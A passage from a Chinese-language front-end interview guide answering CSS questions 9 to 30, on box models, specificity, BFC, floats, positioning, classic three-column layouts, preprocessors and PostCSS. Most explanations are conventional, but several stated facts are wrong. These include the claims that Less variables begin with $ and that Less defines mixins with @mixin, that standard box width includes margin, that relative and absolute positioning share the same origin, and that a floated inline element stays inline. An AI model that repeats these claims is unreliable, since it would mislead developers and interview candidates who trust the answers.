  1. 浏览器兼容性: 不同浏览器对于 HTML 元素的默认样式存在差异,通过初始化 CSS 样式,可以尽量消除不同浏览器之间的显示差异,使页面在各个浏览器中更加一致。
  2. 统一样式: 通过初始化 CSS 样式,可以为各个元素提供一个统一的基础样式,避免默认样式的影响。这有助于开发者在项目中构建一致的界面风格,提高开发效率。
  3. 提高可维护性: 初始化 CSS 样式可以避免在编写具体样式时受到浏览器默认样式的干扰,减少不必要的样式覆盖和调整,从而提高代码的可维护性和可读性。
  4. 优化性能: 通过初始化 CSS 样式,可以避免不必要的样式计算和渲染,减少浏览器的工作量,提升页面加载和渲染性能。

需要注意的是,在进行 CSS 样式初始化时,应该注意选择合适的方式和范围,避免过度初始化造成不必要的代码冗余和性能损耗。同时,针对具体项目和需求,可以选择使用已有的 CSS 初始化库或者自定义初始化样式。

# 9 css3有哪些新特性

CSS3引入了许多新特性,以下是其中一些常见的新特性:

  1. 新增选择器:例如:nth-child():first-of-type:last-of-type等,可以根据元素在父元素中的位置进行选择。
  2. 弹性盒模型:通过display: flex;可以创建弹性布局,简化了元素的排列和对齐方式。
  3. 多列布局:使用column-countcolumn-width等属性可以实现将内容分为多列显示。
  4. 媒体查询:通过@media可以根据设备的特性和屏幕大小应用不同的样式规则。
  5. 个性化字体:使用@font-face可以引入自定义字体,并在网页中使用。
  6. 颜色透明度:通过rgba()可以设置颜色的透明度。
  7. 圆角:使用border-radius可以给元素添加圆角效果。
  8. 渐变:使用linear-gradient()可以创建线性渐变背景效果。
  9. 阴影:使用box-shadow可以为元素添加阴影效果。
  10. 倒影:使用box-reflect可以为元素添加倒影效果。
  11. 文字装饰:使用text-stroke-color可以设置文字描边的颜色。
  12. 文字溢出:使用text-overflow可以处理文字溢出的情况。
  13. 背景效果:使用background-size可以控制背景图片的大小。
  14. 边框效果:使用border-image可以为边框使用图片来创建特殊效果。
  15. 转换:使用transform可以实现元素的旋转、倾斜、位移和缩放等变换效果。
  16. 平滑过渡:使用transition可以为元素的属性变化添加过渡效果。
  17. 动画:通过@keyframesanimation可以创建元素的动画效果。

CSS3引入了许多新的伪类,以下是一些常见的新增伪类:

  1. :nth-child(n):选择父元素下的第n个子元素。
  2. :first-child:选择父元素下的第一个子元素。
  3. :last-child:选择父元素下的最后一个子元素。
  4. :nth-of-type(n):选择父元素下特定类型的第n个子元素。
  5. :first-of-type:选择父元素下特定类型的第一个子元素。
  6. :last-of-type:选择父元素下特定类型的最后一个子元素。
  7. :only-child:选择父元素下仅有的一个子元素。
  8. :only-of-type:选择父元素下特定类型的唯一一个子元素。
  9. :empty:选择没有任何子元素或者文本内容的元素。
  10. :target:选择当前活动的目标元素。
  11. :enabled:选择可用的表单元素。
  12. :disabled:选择禁用的表单元素。
  13. :checked:选择被选中的单选框或复选框。
  14. :focus:选择当前获取焦点的元素。
  15. :hover:选择鼠标悬停在上方的元素。
  16. :visited:选择已访问过的链接。
  17. :not(selector):选择不符合给定选择器的元素。

这些新增的伪类为选择元素提供了更多的灵活性和精确性,使得开发者能够更好地控制和样式化文档中的元素。

# 10 display有哪些值?说明他们的作用

display属性用于定义元素应该生成的框类型。以下是常见的display属性值及其作用:

  1. block:将元素转换为块状元素,独占一行,可设置宽度、高度、边距等属性。
  2. inline:将元素转换为行内元素,不独占一行,只占据内容所需的空间,无法设置宽度、高度等块级属性。
  3. none:设置元素不可见,在渲染时将其完全隐藏,不占据任何空间。
  4. inline-block:使元素既具有行内元素的特性(不独占一行),又具有块级元素的特性(可设置宽度、高度等属性),可以看作是行内块状元素。
  5. list-item:将元素作为列表项显示,常用于有序列表(<ol>)和无序列表(<ul>)中,会添加列表标记。
  6. table:将元素作为块级表格显示,常用于构建表格布局,类似于<table>元素。
  7. inherit:规定应从父元素继承display属性的值,使元素继承父元素的框类型。

这些display属性值用于控制元素的外观和布局,通过选择适当的值可以实现不同的布局效果。

# 11 介绍一下标准的CSS的盒子模型?低版本IE的盒子模型有什么不同的?

  • 有两种,IE盒子模型、W3C盒子模型;
  • 盒模型:内容(content)、填充(padding)、边界(margin)、 边框(border);
  • 区 别: IE的content部分把borderpadding`计算了进去;
  • 盒子模型构成:内容(content)、内填充(padding)、 边框(border)、外边距(margin)
  • IE8及其以下版本浏览器,未声明 DOCTYPE,内容宽高会包含内填充和边框,称为怪异盒模型(IE盒模型)
  • 标准(W3C)盒模型:元素宽度 = width + padding + border + margin
  • 怪异(IE)盒模型:元素宽度 = width + margin
  • 标准浏览器通过设置 css3 的 box-sizing: border-box 属性,触发“怪异模式”解析计算宽高

box-sizing 常用的属性有哪些?分别有什么作用

box-sizing属性用于控制元素的盒模型类型,常用的属性值有:

  1. content-box:默认值,使用标准的W3C盒模型,元素的宽度和高度仅包括内容区域(content),不包括填充、边框和外边距。
  2. border-box:使用怪异的IE盒模型,元素的宽度和高度包括内容区域(content)、填充(padding)和边框(border),但不包括外边距(margin)。即元素的宽度和高度指定的是内容区域加上填充和边框的总宽度和高度。
  3. inherit:继承父元素的box-sizing属性值。

通过设置不同的box-sizing属性值,可以控制元素的盒模型类型,进而影响元素的布局和尺寸计算。使用border-box可以更方便地处理元素的宽度和高度,特别适合响应式布局和网格系统的设计。

# 12 CSS优先级算法如何计算?

CSS优先级是用于确定当多个样式规则应用到同一个元素时,哪个样式规则会被应用的一种规则。优先级的计算基于选择器的权重。

以下是CSS优先级计算的一般规则:

  1. !important:样式规则使用了!important标记,具有最高优先级,无论其位置在哪里。
  2. 内联样式:直接应用在元素上的style属性具有较高的优先级。
  3. ID选择器:使用ID选择器的样式规则具有较高的优先级。例如,#myElement
  4. 类选择器、属性选择器和伪类选择器:使用类选择器(例如.myClass)、属性选择器(例如[type="text"])和伪类选择器(例如:hover)的样式规则的优先级较低于ID选择器。
  5. 元素选择器和伪元素选择器:使用元素选择器(例如div)和伪元素选择器(例如::before)的样式规则的优先级较低于类选择器、属性选择器和伪类选择器。

当存在多个样式规则具有相同的优先级时,会根据以下规则进行决定:

  • 就近原则:当同一元素上存在多个具有相同优先级的样式规则时,最后出现的样式规则将被应用。
  • 继承:某些样式属性可以被子元素继承,如果父元素具有样式规则,子元素将继承该样式。

需要注意的是,以上规则仅适用于一般情况,有些情况下可能存在更复杂的优先级计算。同时,使用!important应该谨慎,过度使用!important可能导致样式管理困难和维护问题。

# 13 对BFC规范的理解?

  • 一个页面是由很多个 Box 组成的,元素的类型和 display 属性,决定了这个 Box 的类型
  • 不同类型的 Box,会参与不同的 Formatting Context(决定如何渲染文档的容器),因此Box内的元素会以不同的方式渲染,也就是说BFC内部的元素和外部的元素不会互相影响

BFC(Block Formatting Context)是CSS中的一种渲染规范,用于决定和控制元素在文档中的布局和渲染方式。BFC定义了一个独立的渲染区域,使得处于不同BFC内部的元素相互隔离,互不影响。

以下是对BFC规范的一些理解:

  1. BFC的创建条件:触发BFC的条件包括元素的float属性不为noneposition属性为absolutefixeddisplay属性为inline-blocktable-celltable-caption等,以及通过特定的CSS属性(如overflow)进行触发。
  2. BFC的特性:
    • 内部的块级盒子会在垂直方向上一个接一个地放置。
    • 相邻的两个块级盒子的垂直外边距会发生合并。
    • BFC的区域不会与浮动元素重叠。
    • BFC在页面布局时会考虑浮动元素。
    • BFC可以包含浮动元素,并计算其高度。
    • BFC的边界会阻止边距重叠。
  3. BFC的应用:
    • 清除浮动:创建一个父级元素成为BFC,可以清除其内部浮动的影响,避免父元素塌陷。
    • 创建自适应的两栏布局:通过将两个列容器设置为BFC,可以避免它们相互影响。
    • 阻止边距重叠:当两个相邻元素的边距发生重叠时,将其中一个元素设置为BFC,可以解决边距重叠问题。

总的来说,BFC规范通过创建独立的渲染上下文,使得元素的布局和渲染更加可控,避免了一些常见的布局问题和冲突。它在清除浮动、解决边距重叠等方面具有重要的应用价值。

# 14 谈谈浮动和清除浮动

浮动(float)是CSS中的一种布局方式,它允许元素向左或向右浮动并脱离文档的正常流,其他元素会围绕浮动元素进行布局。

浮动的特点和应用:

  1. 元素浮动后,其原位置会被其他元素填充,不再占据文档流中的空间。
  2. 浮动元素会尽可能地靠近其包含块的左侧或右侧,直到遇到另一个浮动元素或包含块的边界。
  3. 浮动元素可以通过设置float属性为leftright进行左浮动或右浮动。
  4. 常见应用包括实现多列布局、文字环绕图片等。

清除浮动(clear float)是为了解决浮动元素带来的影响和布局问题而采取的措施。

浮动元素会导致其父元素的高度塌陷(父元素无法检测到浮动元素的高度),以及其他元素可能与浮动元素重叠。为了解决这些问题,可以使用清除浮动的方法:

  1. 空元素清除浮动:在浮动元素后面添加一个空的块级元素,并设置其clear属性为both,使其在浮动元素下方换行,达到清除浮动的效果。
  2. 父级元素使用overflow属性:给包含浮动元素的父元素设置overflow属性为autohidden,可以触发BFC(块格式化上下文),从而包含浮动元素。
  3. 使用伪元素清除浮动:使用::after伪元素给包含浮动元素的父元素添加一个清除浮动的样式,例如设置content为空字符串、displaytable等。
  4. 使用clearfix类:给包含浮动元素的父元素添加一个clearfix类,该类定义了清除浮动的样式,例如设置clearfix类的::after伪元素清除浮动。

需要注意的是,清除浮动的方法应当适用于具体的布局需求和兼容性考虑。同时,清除浮动可能会影响到其他样式的布局,因此需要综合考虑和测试。

# 15 position的值, relative和absolute定位原点是

position 属性用于控制元素的定位方式,常用的取值包括:

  • static:默认值,表示元素在文档流中正常定位,不会受到 toprightbottomleft 属性的影响。
  • relative:生成相对定位的元素,相对于其正常位置进行定位,通过设置 toprightbottomleft 属性来调整元素的位置,不会脱离文档流,周围的元素仍然会按照正常布局进行排列。
  • absolute:生成绝对定位的元素,相对于最近的非 static 定位的父元素进行定位,如果没有非 static 定位的父元素,则相对于文档根元素(即浏览器窗口)进行定位。绝对定位的元素会脱离文档流,不占据空间,可以通过设置 toprightbottomleft 属性来精确控制元素的位置。
  • fixed:生成绝对定位的元素,相对于浏览器窗口进行定位,不会随着页面的滚动而改变位置。可以通过设置 toprightbottomleft 属性来指定元素的位置。
  • inherit:规定从父元素继承 position 属性的值。

对于 relativeabsolute 定位,其原点(坐标基准点)是元素在正常文档流中的位置。通过调整 toprightbottomleft 属性,可以相对于原点在水平和垂直方向上进行偏移,实现元素的精确定位。

# 16 display:inline-block 什么时候不会显示间隙?

display: inline-block 元素在默认情况下会产生间隙,这是因为它们被视为行内元素,会保留默认的行框高度和基线对齐。然而,可以采取一些方法来消除这些间隙,使元素紧密排列,例如在携程网站中的布局。

以下是一些消除间隙的常见方法:

  1. 移除空格:在 HTML 代码中,将 inline-block 元素之间的空格删除,以消除间隙。
  2. 使用负值 margin:通过设置负值的左右外边距(margin)来抵消间隙。例如,可以使用 margin-right: -4px; 来消除间隙。
  3. 使用 font-size: 0;:将 inline-block 元素的父元素的字体大小设置为 0,然后在 inline-block 元素上重新设置所需的字体大小。这样可以消除间隙,因为元素内部没有文字导致的间隙。
  4. 使用 letter-spacing:在 inline-block 元素的父元素上设置负值的 letter-spacing,例如 letter-spacing: -4px;,可以消除间隙。
  5. 使用 word-spacing:在 inline-block 元素的父元素上设置负值的 word-spacing,例如 word-spacing: -4px;,可以消除间隙。

这些方法都是通过调整元素的布局或字体属性来实现消除间隙的效果。具体的方法选择取决于实际需求和布局要求。

# 17 PNG\GIF\JPG的区别及如何选

PNG, GIF, 和 JPG 是常见的图像文件格式,它们在以下方面有所区别:

  1. GIF (Graphics Interchange Format)

    • 使用 8 位像素,最多支持 256 种颜色。
    • 采用无损压缩算法,不会损失图像质量。
    • 支持简单的动画功能,可以创建循环播放的图像。
    • 支持二进制透明和索引透明,可以实现简单的透明效果。
    • 适用于图标、简单的动画和带有透明背景的图像。
  2. JPEG (Joint Photographic Experts Group)

    • 支持高达 16.7 百万种颜色,适合存储照片和复杂图像。
    • 使用有损压缩算法,可以调整压缩质量以平衡图像质量和文件大小。
    • 不支持透明效果,背景会被默认填充为白色。
    • 适合摄影、艺术作品等需要保留高质量细节的图像。
  3. PNG (Portable Network Graphics)

    • 有两种类型:PNG-8 和真彩色 PNG
    • PNG-8 类似于 GIF,支持最多 256 种颜色,文件较小,可以实现透明效果。
    • 真彩色 PNG 支持高分辨率的真彩色图像,文件较大,支持完全的 alpha 透明度。
    • 不支持动画功能。
    • 适合图标、背景、按钮等需要透明度的图像。

选择使用哪种图像格式取决于图像的特点和用途:

  • 如果需要动画效果,可以选择GIF格式。
  • 如果是照片或复杂图像,需要高质量和丰富的颜色,可以选择 JPG 格式。
  • 如果需要透明背景或简单的透明效果,可以选择 PNG 格式,根据图像的复杂性选择 PNG-8 或真彩色 PNG

# 18 行内元素float:left后是否变为块级元素?

当行内元素设置了 float: left; 后,并非直接变为块级元素,而是表现出类似行内块级元素 (inline-block) 的特性。

行内元素设置了 float: left; 后会产生以下效果:

  • 行内元素会脱离文档流,并根据设置的浮动方向向左浮动。
  • 其宽度不再受到文本内容的限制,而是根据内容的宽度来确定。
  • 可以设置 padding-toppadding-bottomwidthheight 等属性,并产生相应的效果。
  • 相邻的行内元素会环绕在其周围,形成类似于文本环绕的效果。

需要注意的是,设置了浮动的行内元素不会自动填充父元素的宽度,而是根据内容的宽度进行布局。如果希望行内元素具有块级元素的宽度特性,可以设置 width: 100%;

总结:行内元素设置了 float: left; 后,它的表现类似于行内块级元素,但仍然属于行内元素的性质,只是在布局和尺寸上有所改变。

# 19 在网页中的应该使用奇数还是偶数的字体?为什么呢?

在网页中,通常建议使用偶数字号的字体,即字号为偶数(如 12px14px16px 等)。这是因为偶数字号相对更容易与网页设计的其他部分构成比例关系,具有更好的视觉平衡和一致性。

以下是一些原因和考虑因素:

  1. 整数像素对齐: 偶数字号的字体大小通常是整数像素,而在网页渲染中,整数像素对齐可以提供更锐利和清晰的显示效果。当字号为奇数时,可能需要进行半像素渲染,这可能会导致字体显示模糊或模糊。
  2. 比例和对称: 使用偶数字号的字体可以更容易与其他设计元素形成比例和对称。网页设计通常依赖于一致的比例和对称性,而使用偶数字号的字体可以更好地与网页中的其他元素(如标题、段落、间距等)形成和谐的视觉关系。
  3. 浏览器兼容性: 一些浏览器对于奇数字号字体的渲染效果可能与偶数字号字体略有不同,可能会导致细微的差异。使用偶数字号字体可以减少在不同浏览器上的显示差异。

需要注意的是,这只是一些建议,并不意味着绝对规定。在实际设计中,根据具体情况和个人审美偏好,也可以使用奇数字号字体。最重要的是确保字体大小与整体设计风格和一致性相匹配。

# 20 ::before 和 :after中双冒号和单冒号 有什么区别?解释一下这2个伪元素的作用

在 CSS 中,单冒号(:)和双冒号(::)有不同的含义和用途。

  1. 单冒号(:): 单冒号用于表示伪类。伪类是用于选择元素的特定状态或动作的关键字,例如 :hover:active:focus 等。伪类表示元素的某种状态或行为,它们通常用于选择元素的特定状态并应用相应的样式。
  2. 双冒号(::): 双冒号用于表示伪元素。伪元素是用于在文档中生成或插入特定内容的关键字,例如 ::before::after::first-line::first-letter 等。伪元素可以创建或修改元素的一部分内容,它们允许开发人员在元素的特定位置添加样式或内容,而无需在文档中实际插入额外的 HTML 元素。

关于 ::before::after 伪元素的作用:

  • ::before ::before 伪元素用于在选中元素的内容前插入生成的内容。通过设置 content 属性和应用样式,可以在元素的开始位置插入额外的内容,这样就可以实现一些装饰性效果或添加额外的元素内容。
  • ::after ::after 伪元素用于在选中元素的内容后插入生成的内容。与 ::before 类似,通过设置 content 属性和应用样式,可以在元素的结束位置插入额外的内容,从而实现装饰性效果或添加其他元素内容。

这两个伪元素可以通过 CSS 属性进行定位、设置样式、添加内容等,使开发人员可以在不修改实际 HTML 结构的情况下,实现一些额外的视觉效果或功能。

# 21 如果需要手动写动画,你认为最小时间间隔是多久,为什么?(阿里)

  • 多数显示器默认频率是60Hz,即1秒刷新60次,所以理论上最小间隔为1/60*1000ms = 16.7ms
  • 如果需要手动编写动画,建议将最小时间间隔设置为 16.7ms,即每帧动画的时间间隔。这是因为大多数显示器的默认刷新频率是 60Hz,也就是每秒刷新 60 次。在这种情况下,将动画的时间间隔设置为 16.7ms 可以确保每帧动画都能够在显示器刷新之前完成。
  • 如果时间间隔小于 16.7ms,则会导致某些帧在显示器刷新之后才能呈现,造成不连续的动画效果,也称为"跳帧"现象。因此,将时间间隔设置为 16.7ms 是一个相对较小的值,可以保证较平滑的动画效果,并且适应大多数显示器的刷新频率。

需要注意的是,由于设备和浏览器的差异,实际的刷新频率和性能可能会有所不同。因此,在编写动画时,还应该进行实际测试和优化,确保动画在各种设备和浏览器上都能够获得良好的表现。

# 22 CSS合并方法

正确合并 CSS 的方法可以包括以下几点:

  1. 内联 CSS: 将 CSS 直接写在 HTML 文件的 <style> 标签中或者通过 style 属性添加到具体元素中。这样可以减少 HTTP 请求并提高页面加载速度,但可维护性较差。
  2. CSS 预处理器: 使用 CSS 预处理器如 Sass、Less 或 Stylus,它们提供了更灵活和可维护的方式来编写 CSS,并且可以将多个 CSS 文件合并为一个。
  3. 合并工具: 使用构建工具如 Grunt、Gulp 或 Webpack,通过配置任务来合并 CSS 文件。这些工具提供了任务运行、文件合并、压缩等功能,可以自动化合并 CSS,并在开发过程中或上线前进行处理。
  4. HTTP 请求合并: 如果使用多个 CSS 文件,可以通过服务器端配置将它们合并成一个文件,并通过单个 HTTP 请求加载。这样可以减少请求的数量,提高页面加载速度。
  5. 压缩: 对合并后的 CSS 文件进行压缩,去除空格、注释等无关字符,以减小文件大小,提高加载速度。

需要根据具体的项目和需求选择适合的合并方法,以提高页面性能和开发效率。

# 23 CSS不同选择器的权重(CSS层叠的规则)

CSS选择器的权重规则可以总结如下:

  1. !important规则:具有最高的优先级,优先级为最大。
  2. 行内样式:通过 style 属性直接定义的样式具有较高的权重,优先级为 1000
  3. ID 选择器:每个 ID 选择器的权重为 100
  4. 类选择器、属性选择器和伪类选择器:每个类选择器、属性选择器或伪类选择器的权重为 10
  5. 元素选择器:每个元素选择器的权重为 1

当应用多个选择器到同一个元素时,根据上述规则计算各个选择器的权重,具有较高权重的样式将被应用。如果存在权重相同的情况,则根据样式规则的先后顺序来决定哪个样式生效,后声明的样式会覆盖先声明的样式。

下面是一个权重计算的示例:

/* 权重为 1 */
div {
}

/* 权重为 10 */
.class1 {
}

/* 权重为 100 */
#id1 {
}

/* 权重为 101 (100 + 1) */
#id1 div {
}

/* 权重为 11 (10 + 1) */
.class1 div {
}

/* 权重为 21 (10 + 10 + 1) */
.class1 .class2 div {
}

根据权重的计算规则,选择器的权重越高,其样式优先级越高,将更有可能应用到对应的元素上。

# 24 列出你所知道可以改变页面布局的属性

以下是一些可以改变页面布局的常用属性:

  1. position:控制元素的定位方式,如staticrelativeabsolutefixed等。
  2. display:指定元素的显示方式,如blockinlineinline-blockflexgrid等。
  3. float:使元素浮动到指定的位置,常用于创建多列布局。
  4. widthheight:控制元素的宽度和高度。
  5. marginpadding:调整元素的外边距和内边距。
  6. topleftrightbottom:设置元素相对于其定位父元素的偏移位置。
  7. z-index:控制元素的层叠顺序。
  8. overflow:控制元素内容溢出时的处理方式。
  9. box-sizing:指定元素的盒模型类型,如content-boxborder-box
  10. flexboxgrid:强大的布局模型,用于创建复杂的网格布局和灵活的盒模型布局。

这些属性可以结合使用,通过调整它们的值和组合,可以实现各种不同的页面布局和排列方式。

# 25 CSS在性能优化方面的实践

在性能优化方面,以下是一些CSS的实践方法:

  1. 压缩和合并CSS:使用CSS压缩工具将CSS文件压缩,并将多个CSS文件合并为一个文件,减少网络请求次数和文件大小。
  2. 使用Gzip压缩:配置服务器开启Gzip压缩,可以减小CSS文件的大小,加快文件传输速度。
  3. 将CSS文件放在<head>标签中:将CSS文件的引用放在HTML文档的<head>标签中,以便在页面渲染前加载CSS样式。
  4. 避免使用@import:避免在CSS中使用@import导入其他CSS文件,因为@import会增加额外的请求延迟,推荐使用<link>标签引入CSS文件。
  5. 使用缩写属性:尽量使用CSS的缩写属性,如marginpaddingfont等,可以减少CSS文件的大小。
  6. 避免使用滤镜:某些CSS滤镜效果会导致性能下降,特别是在大型页面中使用,尽量避免滤镜的使用。
  7. 合理使用选择器:选择器的复杂性会影响CSS选择器的匹配速度,尽量避免使用过于复杂的选择器,减少选择器的层级和嵌套。
  8. 避免使用CSS表达式:CSS表达式会在每次页面重绘时重新计算,影响性能,尽量避免使用。
  9. 使用缓存:通过设置适当的HTTP响应头,将CSS文件缓存到浏览器中,减少重复请求。
  10. 使用媒体查询:针对不同设备和屏幕尺寸,使用媒体查询来加载不同的CSS样式,提高响应性能。

这些实践方法可以帮助优化CSS在网页加载和渲染过程中的性能,减少加载时间,提升用户体验。

# 26 CSS3动画(简单动画的实现,如旋转等)

  • 依靠CSS3中提出的三个属性:transitiontransformanimation
  • transition:定义了元素在变化过程中是怎么样的,包含transition-propertytransition-durationtransition-timing-functiontransition-delay
  • transform:定义元素的变化结果,包含rotatescaleskewtranslate
  • animation:动画定义了动作的每一帧(@keyframes)有什么效果,包括animation-nameanimation-durationanimation-timing-functionanimation-delayanimation-iteration-countanimation-direction

以下是一个使用CSS3动画实现旋转的示例:

/* 定义动画关键帧 */
@keyframes rotate {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}

/* 应用动画到元素 */
.element {
  animation-name: rotate; /* 指定动画名称 */
  animation-duration: 3s; /* 动画持续时间 */
  animation-timing-function: linear; /* 动画速度曲线 */
  animation-delay: 0s; /* 动画延迟时间 */
  animation-iteration-count: infinite; /* 动画重复次数,这里设置为无限循环 */
  animation-direction: normal; /* 动画播放方向 */
}

# 27 base64的原理及优缺点

Base64是一种将二进制数据编码为ASCII字符的方法,通过将二进制数据转换为由64个字符组成的可打印字符序列,实现二进制数据的传输和存储。

Base64编码的原理如下:

  1. 将待编码的数据按照每3个字节一组进行分组。
  2. 将每组3个字节转换为4个6位的Base64字符。
  3. 如果最后一组不足3个字节,根据需要进行填充。
  4. 将转换后的Base64字符拼接在一起,形成最终的Base64编码结果。

优点:

  • 可以将二进制数据转换为文本数据,方便在文本环境中传输和存储。
  • 减少了HTTP请求,可以将小的图片或其他资源直接嵌入到HTML、CSS或JavaScript代码中,减少了对服务器的请求次数。

缺点:

  • Base64编码会使数据的大小增加,因为每3个字节的原始数据会转换为4个字节的Base64编码数据。
  • Base64编码是一种可逆的编码方法,虽然可以加密数据,但并不提供真正的安全性。
  • 编码和解码过程涉及到字符转换和处理,消耗了一定的CPU资源。

总的来说,Base64编码适用于在文本环境中传输和存储二进制数据,并且可以减少HTTP请求。但在需要考虑数据大小和性能的情况下,需要权衡使用Base64编码的优缺点。

# 28 几种常见的CSS布局

# 流体布局

	.left {
		float: left;
		width: 100px;
		height: 200px;
		background: red;
	}
	.right {
		float: right;
		width: 200px;
		height: 200px;
		background: blue;
	}
	.main {
		margin-left: 120px;
		margin-right: 220px;
		height: 200px;
		background: green;
	}
<div class="container">
    <div class="left"></div>
    <div class="right"></div>
    <div class="main"></div>
</div>

上述代码实现了一个基本的流体布局,其中左侧(.left)和右侧(.right)是固定宽度和高度的浮动元素,中间部分(.main)是流动的内容区域。

  • .left.right都使用了浮动(float)属性,分别向左和向右浮动,使它们脱离正常的文档流并排在一起。
  • .left的宽度为100px,高度为200px,背景颜色为红色。
  • .right的宽度为200px,高度为200px,背景颜色为蓝色。
  • .main使用了左右的外边距(margin-leftmargin-right),使其在左右两侧留出空白区域,与左侧和右侧元素不重叠。
  • .main的高度为200px,背景颜色为绿色。

这样设置后,左侧和右侧的浮动元素会占据固定的宽度和高度,并排在一起。中间的内容区域会流动到浮动元素的下方,填充剩余的空间。这样就实现了一个基本的流体布局,可以根据容器的大小自动适应屏幕或容器的宽度。

需要注意的是,浮动元素可能会导致父容器的高度塌陷,可以通过在父容器上添加清除浮动的样式来解决这个问题,例如在容器上添加clearfix类:

.container::after {
  content: "";
  display: table;
  clear: both;
}

以上是一个简单的流体布局的示例,实际应用中可能会结合其他CSS属性和技巧来实现更复杂的布局效果。

# 圣杯布局

  • 要求:三列布局;中间主体内容前置,且宽度自适应;两边内容定宽
  • 好处:重要的内容放在文档流前面可以优先渲染
  • 原理:利用相对定位、浮动、负边距布局,而不添加额外标签
  .container {
      padding-left: 150px;
      padding-right: 190px;
  }
  .main {
      float: left;
      width: 100%;
  }
  .left {
      float: left;
      width: 190px;
      margin-left: -100%;
      position: relative;
      left: -150px;
  }
  .right {
      float: left;
      width: 190px;
      margin-left: -190px;
      position: relative;
      right: -190px;
  }
<div class="container">
	<div class="main"></div>
	<div class="left"></div>
	<div class="right"></div>
</div>

上述代码实现了一个圣杯布局,具有三列布局,其中中间的主体内容前置且宽度自适应,两侧内容具有固定宽度。

  • .container是包含整个布局的容器,通过设置左右内边距来给中间主体内容留出空间。
  • .main是中间的主体内容区域,使用浮动(float: left;)和宽度为100%(width: 100%;)来使其占据剩余的宽度,并自适应容器的宽度。
  • .left是左侧内容区域,使用相对定位(position: relative;)和负边距(margin-left: -100%;)来将其向左偏移,并利用相对定位的left属性(left: -150px;)将其定位到容器的左侧。
  • .right是右侧内容区域,同样使用相对定位和负边距来将其向左偏移,并利用相对定位的right属性(right: -190px;)将其定位到容器的右侧。

这样设置后,左侧和右侧的内容区域会以负偏移的方式覆盖在主体内容区域上方,而主体内容区域则会自适应剩余的宽度。这样就实现了一个圣杯布局,能够将重要的内容放在文档流的前面,优先渲染。

需要注意的是,由于使用了负边距和相对定位,可能会导致布局上的一些特殊情况和问题,需要在具体应用中进行测试和调整。

以上是一个简单的圣杯布局的示例,通过相对定位、浮动和负边距等CSS属性和技巧,实现了一个具有三列布局、自适应宽度和前置主体内容的布局效果。

# 双飞翼布局

  • 双飞翼布局:对圣杯布局(使用相对定位,对以后布局有局限性)的改进,消除相对定位布局
  • 原理:主体元素上设置左右边距,预留两翼位置。左右两栏使用浮动和负边距归位,消除相对定位。
.container {
    /*padding-left:150px;*/
    /*padding-right:190px;*/
}
.main-wrap {
    width: 100%;
    float: left;
}
.main {
    margin-left: 150px;
    margin-right: 190px;
}
.left {
    float: left;
    width: 150px;
    margin-left: -100%;
    /*position: relative;*/
    /*left:-150px;*/
}
.right {
    float: left;
    width: 190px;
    margin-left: -190px;
    /*position:relative;*/
    /*right:-190px;*/
}
<div class="content">
    <div class="main"></div>
</div>
<div class="left"></div>
<div class="right"></div>

上述代码实现了一个双飞翼布局,与圣杯布局相比,双飞翼布局消除了相对定位,使布局更加简洁。

  • .container是包含整个布局的容器,可以设置其左右内边距来给中间主体内容留出空间。在双飞翼布局中,我们可以选择是否为容器设置内边距,取决于具体的设计需求。
  • .main-wrap是一个包裹着主体内容的容器,设置宽度为100%和浮动,使其占据一行并自适应宽度。
  • .main是中间的主体内容区域,设置左右外边距来预留出左右两翼的位置,使其不会被左右两边的内容覆盖。
  • .left是左侧内容区域,使用浮动和负边距(margin-left: -100%;)将其向左偏移,使其脱离文档流并覆盖在主体内容的左侧。
  • .right是右侧内容区域,同样使用浮动和负边距(margin-left: -190px;)将其向左偏移,使其脱离文档流并覆盖在主体内容的右侧。

这样设置后,左侧和右侧的内容区域会以浮动和负偏移的方式覆盖在主体内容区域的两侧,而主体内容区域则会自适应剩余的宽度。双飞翼布局相较于圣杯布局,去除了相对定位,使布局结构更加简洁。

需要注意的是,双飞翼布局同样可能出现一些特殊情况和问题,如内容溢出、高度不平等等,需要在具体应用中进行测试和调整。

# 29 stylus/sass/less区别

Sass, Less, 和 Stylus 是三种常用的 CSS 预处理器,它们在功能和语法上有一些区别:

  • 语法差异:Sass 使用类似 Ruby 的缩进语法,而 Less 和 Stylus 使用类似 CSS 的语法。Sass 使用严格的缩进表示层次与嵌套关系,而 Less 和 Stylus 可以使用大括号 {} 表示层次和嵌套关系。
  • 变量:Sass、Less 和 Stylus 都支持变量,用于存储和复用值。在 Sass 和 Less 中,变量以 $ 符号开头,而在 Stylus 中,变量以 $ 或者 @ 符号开头。
  • 混合:混合(Mixins)允许将一组 CSS 规则集合存储为一个可重用的样式块。Sass 和 Less 使用 @mixin 定义混合,而 Stylus 使用 mixin 关键字定义混合。
  • 嵌套:Sass、Less 和 Stylus 都支持嵌套规则,可以在父级规则内部定义子级规则。Sass 使用缩进表示嵌套关系,Less 和 Stylus 使用大括号 {} 表示嵌套关系。
  • 继承:继承(Inheritance)允许一个选择器继承另一个选择器的样式。在 Sass 中,使用 @extend 实现继承,而在 Less 和 Stylus 中,使用 & 符号实现继承。
  • 颜色混合:颜色混合(Color blending)允许将两个颜色混合生成一个新的颜色。Sass 使用 mix() 函数实现颜色混合,Less 使用 blend() 函数,而 Stylus 使用 mix() 函数。
  • 环境和工具支持:Sass 是基于 Ruby 的,需要安装 Ruby 环境来编译,而 Less 和 Stylus 可以通过 Node.js 的 NPM 安装相应的库来编译。

总的来说,SassLessStylus 在功能上大致相似,它们都提供了类似的特性,如变量、混合、嵌套、继承等,但在语法和一些细节上有一些差异。选择哪种预处理器取决于个人偏好、团队需求和项目要求。

# 30 postcss的作用

  • 可以直观的理解为:它就是一个平台。为什么说它是一个平台呢?因为我们直接用它,感觉不能干什么事情,但是如果让一些插件在它上面跑,那么将会很强大
  • PostCSS 提供了一个解析器,它能够将 CSS 解析成抽象语法树
  • 通过在 PostCSS 这个平台上,我们能够开发一些插件,来处理我们的CSS,比如热门的:autoprefixer
  • postcss可以对sass处理过后的css再处理 最常见的就是autoprefixer

PostCSS 是一个用于转换 CSS 的工具,它提供了一个插件化的架构,可以通过加载各种插件来处理 CSS。主要作用包括:

  1. 转换 CSSPostCSS 可以将 CSS 解析成抽象语法树(AST),并允许开发者编写插件来修改和转换 CSS。这使得开发者可以自定义和扩展 CSS 的功能,从而提供更灵活的编写样式的能力。
  2. 自动添加浏览器前缀PostCSS 的插件生态系统中最常用的插件之一是 autoprefixer。它可以根据配置和浏览器兼容性自动为样式属性添加浏览器前缀,以确保在不同浏览器中正确显示样式。
